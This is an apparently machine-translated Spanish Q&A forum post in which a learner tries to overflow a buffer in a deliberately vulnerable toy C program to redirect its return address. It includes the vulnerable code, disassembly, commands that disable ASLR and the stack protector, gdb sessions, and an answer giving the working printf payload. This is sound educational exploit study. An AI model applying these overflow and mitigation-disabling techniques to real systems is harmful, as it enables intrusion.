intentando desbordar en búfer el programa c simple

2

Tengo un problema para desbordar el búfer en un programa c simple que recibe información de la línea de comandos, este es el código main.c:

#include <stdio.h>
#include <string.h>
void func(char *name)
{
   char buf[10];
   strcpy(buf, name);
}
void chgflow(){
     printf("changed flow!!\n");
}
void main(int argc, char *argv[])
{
  func(argv[1]);
  printf("i should not be viewed if flow is changed\n");
  chgflow();
} 

esta es la versión de ensamblaje tomada de objdump -d ./main:

<main>:
 5a3:   8d 4c 24 04             lea    0x4(%esp),%ecx
 5a7:   83 e4 f0                and    $0xfffffff0,%esp
 5aa:   ff 71 fc                pushl  -0x4(%ecx)
 5ad:   55                      push   %ebp
 5ae:   89 e5                   mov    %esp,%ebp
 5b0:   53                      push   %ebx
 5b1:   51                      push   %ecx
 5b2:   e8 99 fe ff ff          call   450 <__x86.get_pc_thunk.bx>
 5b7:   81 c3 49 1a 00 00       add    $0x1a49,%ebx
 5bd:   89 c8                   mov    %ecx,%eax
 5bf:   8b 40 04                mov    0x4(%eax),%eax
 5c2:   83 c0 04                add    $0x4,%eax
 5c5:   8b 00                   mov    (%eax),%eax
 5c7:   83 ec 0c                sub    $0xc,%esp
 5ca:   50                      push   %eax
 5cb:   e8 7d ff ff ff          call   54d <func>
 5d0:   83 c4 10                add    $0x10,%esp
 5d3:   83 ec 0c                sub    $0xc,%esp
 5d6:   8d 83 90 e6 ff ff       lea    -0x1970(%ebx),%eax
 5dc:   50                      push   %eax
 5dd:   e8 fe fd ff ff          call   3e0 <puts@plt>
 5e2:   83 c4 10                add    $0x10,%esp
 5e5:   e8 8e ff ff ff          call   578 <chgflow>
 5ea:   90                      nop
 5eb:   8d 65 f8                lea    -0x8(%ebp),%esp
 5ee:   59                      pop    %ecx
 5ef:   5b                      pop    %ebx
 5f0:   5d                      pop    %ebp
 5f1:   8d 61 fc                lea    -0x4(%ecx),%esp
 5f4:   c3                      ret

<func>:
 54d:   55                      push   %ebp
 54e:   89 e5                   mov    %esp,%ebp
 550:   53                      push   %ebx
 551:   83 ec 14                sub    $0x14,%esp
 554:   e8 9c 00 00 00          call   5f5 <__x86.get_pc_thunk.ax>
 559:   05 a7 1a 00 00          add    $0x1aa7,%eax
 55e:   83 ec 08                sub    $0x8,%esp
 561:   ff 75 08                pushl  0x8(%ebp)
 564:   8d 55 ee                lea    -0x12(%ebp),%edx
 567:   52                      push   %edx
 568:   89 c3                   mov    %eax,%ebx
 56a:   e8 61 fe ff ff          call   3d0 <strcpy@plt>
 56f:   83 c4 10                add    $0x10,%esp
 572:   90                      nop
 573:   8b 5d fc                mov    -0x4(%ebp),%ebx
 576:   c9                      leave
 577:   c3                      ret

<chgflow>:
 578:   55                      push   %ebp
 579:   89 e5                   mov    %esp,%ebp
 57b:   53                      push   %ebx
 57c:   83 ec 04                sub    $0x4,%esp
 57f:   e8 71 00 00 00          call   5f5 <__x86.get_pc_thunk.ax>
 584:   05 7c 1a 00 00          add    $0x1a7c,%eax
 589:   83 ec 0c                sub    $0xc,%esp
 58c:   8d 90 80 e6 ff ff       lea    -0x1980(%eax),%edx
 592:   52                      push   %edx
 593:   89 c3                   mov    %eax,%ebx
 595:   e8 46 fe ff ff          call   3e0 <puts@plt>
 59a:   83 c4 10                add    $0x10,%esp
 59d:   90                      nop
 59e:   8b 5d fc                mov    -0x4(%ebp),%ebx
 5a1:   c9                      leave
 5a2:   c3                      ret

primero que todo lo ejecuté:

echo 0 > /proc/sys/kernel/randomize_va_space

luego compila main.c:

gcc -m32 -g main.c -o main -fno-stack-protector

cuando la función func termina, quiero sobrescribir la dirección de ret normal, y apuntando a la función chgflow , por lo tanto, omitiendo la siguiente instrucción regular:

printf("i should not be viewed if flow is changed\n");

para depurar el main.c e inspeccionar qué direcciones de memoria están en su lugar que ejecuté:

gdb ./main
go
disas main
disas chgflow

y esto es lo que encontré para disas main:

0x565555cb <+40>:    call   0x5655554d <func>
0x565555d0 <+45>:    add    $0x10,%esp

y para chgflow:

Dump of assembler code for function chgflow:
0x56555578 <+0>:     push   %ebp

Así que puedo entender que:

0x565555d0 <+45>:    add    $0x10,%esp

es la dirección de retención regular (y la siguiente instrucción) después de que func termina, y 0x56555578 es la primera instrucción de la función chgflow . Ahora tengo que inspeccionar el ensamblaje de func para comprender la cantidad de caracteres A (digamos) que necesito para rellenar la pila; desde esta línea:

564:   8d 55 ee                lea    -0x12(%ebp),%edx

entiendo que necesito 18Byte + 4 bytes de relleno A para llegar a la dirección Ret. Para confirmar esto lo ejecuté de nuevo:

gdb ./main
break 7
run AAAAAAAAAAAAAAAAAAAAAA

("A" repitió 22 veces)

(gdb) x/s $ebp-18
0xffffd2a6: 'A' <repeats 22 times>
(gdb) x/s $ebp
0xffffd2b8: "AAAA"
(gdb) x/x $ebp+4
0xffffd2bc: 0x00

mi prueba terminó aquí porque no puedo entender por qué (gdb) x/x $ebp+4 que debería ser la dirección Ret, muestra 0x00 como resultado. Esperaba que la dirección de retransmisión no cambiara desde el 0x565555d0 regular. ¡Pero hey! 0x00 debería ser el terminador, ¿no? Así que continué y realicé otra prueba con 21 rellenos "A" y el resultado es correcto esta vez:

(gdb) x/x $ebp+4
0xffffd2bc: 0x565555d0

Mi última necesidad ahora es sobrescribir la dirección de retorno con 0x56555578, que es la dirección de la primera instrucción de la función chgflow . Realicé la prueba anterior con este reemplazado:

run AAAAAAAAAAAAAAAAAAAAA\x78\x55\x55\x56

("A" se repite 21 veces) pero gdb me dio:

Punto de interrupción 1, func (nombre = 0x35357835) en main.c: 7

y esto es lo que puedo ver en la memoria:

(gdb) x/x $ebp+4
0xffffd2ac: 0x37
(gdb) x/s $ebp+4
0xffffd2ac: "78x55x55x56"

finalmente no pude saltar a chgflow

¿Alguien me puede ayudar con esto? Realmente lo apreciaría. Saludos a Marco

    
pregunta Marco_81 20.02.2018 - 16:29
fuente

1 respuesta

1

Cuando ejecutas run AAAAAAAAAAAAAAAAAAAAA\x78\x55\x55\x56 , no analiza las secuencias de escape hexadecimales. Las barras diagonales inversas se toman de manera similar a las secuencias de escape del shell (por ejemplo, \ n) pero los caracteres hexadecimales no son compatibles.

Para poder convertir las secuencias hexadecimales en caracteres, debes usar un programa externo. Como solo necesita convertir una secuencia literal, la más fácil de usar es printf:

run $(printf "AAAAAAAAAAAAAAAAAAAAA\x78\x55\x55\x56")
    
respondido por el David 20.02.2018 - 18:01
fuente

Lea otras preguntas en las etiquetas